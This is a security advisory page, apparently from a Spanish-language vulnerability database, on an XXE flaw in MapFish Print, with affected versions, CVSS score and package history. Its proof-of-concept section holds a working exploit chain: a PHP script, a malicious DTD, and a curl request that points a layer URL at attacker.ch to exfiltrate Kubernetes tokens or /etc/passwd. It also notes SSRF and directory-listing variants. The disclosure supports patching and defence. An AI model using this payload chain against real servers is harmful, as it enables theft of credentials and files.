Alta

MapFish Print has XXE that allows reading arbitrary files of certain types

  • Publicada: 28.08.2026
  • Actualizado: 11.10.2026 13:19

Summary

XXE on MapFish Print allows reading arbitrary files of certain types. Eg /etc/passwd or k8 secrets and certs.

https://github.com/mapfish/mapfish-print/commit/13020c0fbc299e5f604e4e66066311c4bf04d507

Details

To trigger the XXE it is required to host a remote script and dtd file. When using the Print feature its possible to send the attacker server url as url of the gml layer.

The 404 not found path when using the gml Layer will expand the content of the file as path and throw a default 404 with the full content as path.

PoC

Host this php file somewhere as xxe.php:

php
<?php
$p=$_GET['p'];
$d=dirname($_SERVER['SCRIPT_NAME']);
$u=(empty($_SERVER['HTTPS'])?'http':'https')."://{$_SERVER['HTTP_HOST']}$d/evil.dtd";
header('Content-Type: application/xml');
echo "<?xml version=\"1.0\"?>
<!DOCTYPE x [
 <!ENTITY % payload SYSTEM \"file://$p\">
 <!ENTITY % dtd SYSTEM \"$u\">
 %dtd;
]>
<wfs:FeatureCollection xmlns:wfs=\"http://www.opengis.net/wfs\" xmlns:gml=\"http://www.opengis.net/gml\">
<!-- ".str_repeat('x',200)." -->
<gml:boundedBy><gml:null>unknown</gml:null></gml:boundedBy>
</wfs:FeatureCollection>";

and beneath host this "evil.dtd"

<!ENTITY % exfil "<!ENTITY &#37; error SYSTEM 'file:///xxe-exfil/%payload;'>"> %exfil; %error;

Now send a single curl request against your mapfish print server and include your hosted poc url as gml layer url with the path attached you would like to exfil. It will exfil /var/run/secrets/kubernetes.io/serviceaccount/token (most likely your local test setup wont have it, then just replace the path with /etc/passwd or similar plain files)

curl -sk 'https://mapfish/api/print3/print/mapviewer/buildreport.pdf' \ -H 'Content-Type: application/json' \ -d '{"layout":"1. A4 landscape","attributes":{"printDate":"a","url":"","copyright":"","qrimage":"","map":{"projection":"EPSG:2056","rotation":0,"dpi":96,"center":[2600000,1200000],"scale":100000,"layers":[{"type":"gml","url":"https://attacker.ch/xxe.php?p=/var/run/secrets/kubernetes.io/serviceaccount/token"}]}},"outputFormat":"pdf"}'

Its also noteworthy that when you use just a path with slash in the end /tmp/ for example - it will literally list the files and output this for you.

It is actually also possible to trigger an SSRF and request internal URLs if you'd change the file:// prefix in the dtd to https://

Impact

disclose local files. blind(ish) SSRF (depends on the servers response data)

Software afectado

Haz clic en una tecnología para ver todas sus vulnerabilidades.

PlataformaPaqueteVersiones vulnerablesCorregida en
Java / Kotlin (Maven) org.mapfish.print:print-lib >= 3.0.0, < 3.28.30, >= 3.29.0, < 3.30.32, >= 3.32.0, < 3.33.16, >= 3.34.0, < 4.0.5 3.28.30, 3.30.32, 3.33.16, 4.0.5
Java / Kotlin (Maven) org.mapfish.print:print-servlet >= 3.29.0, < 3.30.32, >= 3.31.0, < 3.31.24, >= 3.32.0, < 3.33.16, >= 3.34.0, < 4.0.5 3.30.32, 3.31.24, 3.33.16, 4.0.5
Java / Kotlin (Maven) org.mapfish:print.print-servlet >= 3.0.0, < 3.28.30 3.28.30

Referencias

Puntuación CVSS 8.6/10
Vector CVSS
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
Debilidad (CWE)
CWE-611
Plataforma
Java / Kotlin (Maven)
Paquete
org.mapfish.print:print-lib, org.mapfish.print:print-servlet, org.mapfish:print.print-servlet
Publicada
28.08.2026
Actualizado
11.10.2026 13:19

Fuentes y licencias

OSV / GitHub Advisory Database - GHSA-5v29-34h8-v68r - CC BY 4.0

Historial de vulnerabilidades: org.mapfish.print:print-servlet

Todas las vulnerabilidades publicadas de este paquete (Java / Kotlin (Maven)), de la más reciente a la más antigua. Muestra si es un fallo aislado o un paquete que hay que vigilar.

Entradas en total
4
Primera → última
07.2020 08.2026
Sin corrección
0
Explotada en ataques
0

Distribución por gravedad

  • Crítica 2
  • Alta 1
  • Baja 1

Divulgaciones por año

  1. 2020: 2
  2. 2021: 0
  3. 2022: 0
  4. 2023: 0
  5. 2024: 0
  6. 2025: 0
  7. 2026: 2
  1. MapFish Print has XXE that allows reading arbitrary files of certain types esta entrada
    Alta · 8.6 CVE-2026-55848 >= 3.29.0, < 3.30.32, >= 3.31.0, < 3.31.24, >= 3.32.0, < 3.33.16, >= 3.34.0, < 4.0.5 3.30.32, 3.31.24, 3.33.16, 4.0.5
  2. Crítica CVE-2026-44672 >= 3.23.0, < 3.28.28, >= 3.29.0, < 3.30.30, >= 3.31.0, < 3.31.21, >= 3.32.0, < 3.33.14, >= 3.34.0, < 4.0.3 3.28.28, 3.30.30, 3.31.21, 3.33.14, 4.0.3
  3. Baja · 9.3 CVE-2020-15231 < 3.24 3.24
  4. Crítica · 9.3 CVE-2020-15232 >= 3.0, < 3.24 3.24

Identifica las vulnerabilidades de tu aplicación

Con la integración de DockRay y el inventario de software activado, DockRay compara las versiones notificadas de los componentes con las vulnerabilidades conocidas y avisa de las coincidencias confirmadas. La cobertura depende de la tecnología compatible y de los avisos disponibles.

Conectar tu aplicación
Newsletter DockRay

La seguridad de tus aplicaciones en tu correo

Vulnerabilidades importantes, recomendaciones concretas y consejos prácticos para tus aplicaciones. Elige tus tecnologías y sigue lo que importa para tu proyecto.

  • Un resumen diario de nuevas vulnerabilidades, también las críticas.
  • Avisos sobre actualizaciones importantes.
  • Consejos prácticos sobre seguridad y monitorización de aplicaciones.

Déjalo vacío para recibir avisos de todas las tecnologías.

Suscripción gratuita. Date de baja con un clic en cualquier correo.